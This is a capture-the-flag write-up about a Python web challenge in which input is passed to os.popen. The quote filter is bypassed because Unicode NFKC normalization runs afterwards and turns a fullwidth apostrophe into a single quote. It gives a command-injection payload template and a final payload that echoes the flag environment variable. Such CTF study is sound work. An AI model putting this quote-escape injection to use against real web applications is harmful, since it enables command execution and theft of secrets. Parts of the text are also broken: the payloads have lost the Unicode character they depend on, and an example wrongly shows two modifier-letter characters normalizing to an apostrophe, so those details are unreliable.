Ghost whisper

A mysterious website lets you whisper to ghosts. But can you shatter the veil of silence and make your own voice heard?

Ghost whisper

Challenge Overview

This code will be run before each request, you can use it to setup the context of the python execution.

import os
os.chdir('tmp')
os.mkdir('templates')

os.environ["FLAG"] = flag

with open('templates/index.html', 'w') as f:
    f.write('''
...SNIP...
'''.strip())

We have access to a web application that takes user input and executes it in a shell command. The source code is provided:

import os, unicodedata
from urllib.parse import unquote
from jinja2 import Environment, FileSystemLoader
template = Environment(
    autoescape=True,
    loader=FileSystemLoader('/tmp/templates'),
).get_template('index.html')
os.chdir('/tmp')

def main():
    whisperMsg = unquote("{input}")

    # Normalize dangerous characters
    whisperMsg = unicodedata.normalize("NFKC", whisperMsg.replace("'", "_"))

    # Run a command and capture its output
    with os.popen(f"echo -n '{whisperMsg}' | hexdump") as stream:
        hextext = f"{stream.read()} | {whisperMsg}"
        print( template.render(msg=whisperMsg, hextext=hextext) )

main()

Challenge's view

Vulnerability Analysis

Execution Flow

1. User input is URL decoded with unquote()

whisperMsg = unquote("{input}")

2. Single quotes ' are replaced with underscores _

whisperMsg.replace("'", "_")

3. Unicode NFKC normalization is applied

whisperMsg = unicodedata.normalize("NFKC", whisperMsg.replace("'", "_"))

4. Input is inserted into a shell command

# Run a command and capture its output
with os.popen(f"echo -n '{whisperMsg}' | hexdump") as stream:
    hextext = f"{stream.read()} | {whisperMsg}"

The Problem

The code attempts to prevent command injection by removing single quotes, but the order of operations is critical:

Input → replace("'", "_") → normalize("NFKC") → Shell command

NFKC normalization happens AFTER quote replacement, which creates a bypass opportunity.

Unicode NFKC Normalization

According to the Python documentation:

The normal form KC (NFKC) first applies the compatibility decomposition, followed by the canonical composition.

Concrete Example

>>> import unicodedata
>>> unicodedata.normalize("NFKC", 'Ⅷ')
'VIII'

The Roman numeral Ⅷ́ is normalized to VIII (Latin letters).

The vulnerability

Certain Unicode characters are normalized to single quotes ' by NFKC:

Character Unicode Code Name
U+FF07 FULLWIDTH APOSTROPHE

Example

>>> import unicodedata
>>> unicodedata.normalize("NFKC", "ʹ")
"'"
>>> unicodedata.normalize("NFKC", "ʼ")
"'"

Exploitation

Payload Construction

To inject a command, we must:

  1. Close the echo command string
  2. Execute our command
  3. Reopen the string to avoid syntax errors

Example of payload:

'; <command> #

Where is U+FF07 (FULLWIDTH APOSTROPHE) which normalizes to '.

Flag

'; echo $FLAG #

Results: Challenge's flag